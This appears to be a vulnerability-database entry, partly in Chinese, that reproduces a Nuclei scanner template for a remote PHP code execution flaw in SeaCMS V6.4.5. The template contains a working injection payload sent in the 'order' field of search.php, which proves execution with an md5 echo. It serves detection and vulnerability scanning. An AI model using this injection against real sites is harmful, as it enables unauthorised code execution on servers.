seacms-rce: SeaCMS V6.4.5 RCE

日期: 2025-08-01 | 影响软件: seacms | POC: 已公开

漏洞描述

A vulnerability in SeaCMS allows remote unauthenticated attackers to execute arbitrary PHP code.

PoC代码[已公开]

id: seacms-rce

info:
  name: SeaCMS V6.4.5 RCE
  author: pikpikcu
  severity: high
  description: A vulnerability in SeaCMS allows remote unauthenticated attackers to execute arbitrary PHP code.
  reference:
    - https://mengsec.com/2018/08/06/SeaCMS-v6-45前台代码执行漏洞分析/
  metadata:
    max-request: 1
  tags: seacms,rce,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/search.php?searchtype=5'

    body: "searchtype=5&order=}{end if} {if:1)echo md5('seacms');if(1}{end if}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "b1e597fa44dfd7669966bfab04eeb8ea"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c460aff028259624e1c4c7239e89045bc35a4915975e24423645a9db61c55b2a02201cdc559eb5387adbb640a35d838cb70c23de8b3bcf46635e58b66a94d557f9e8:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/seacms-rce.yaml

相关漏洞推荐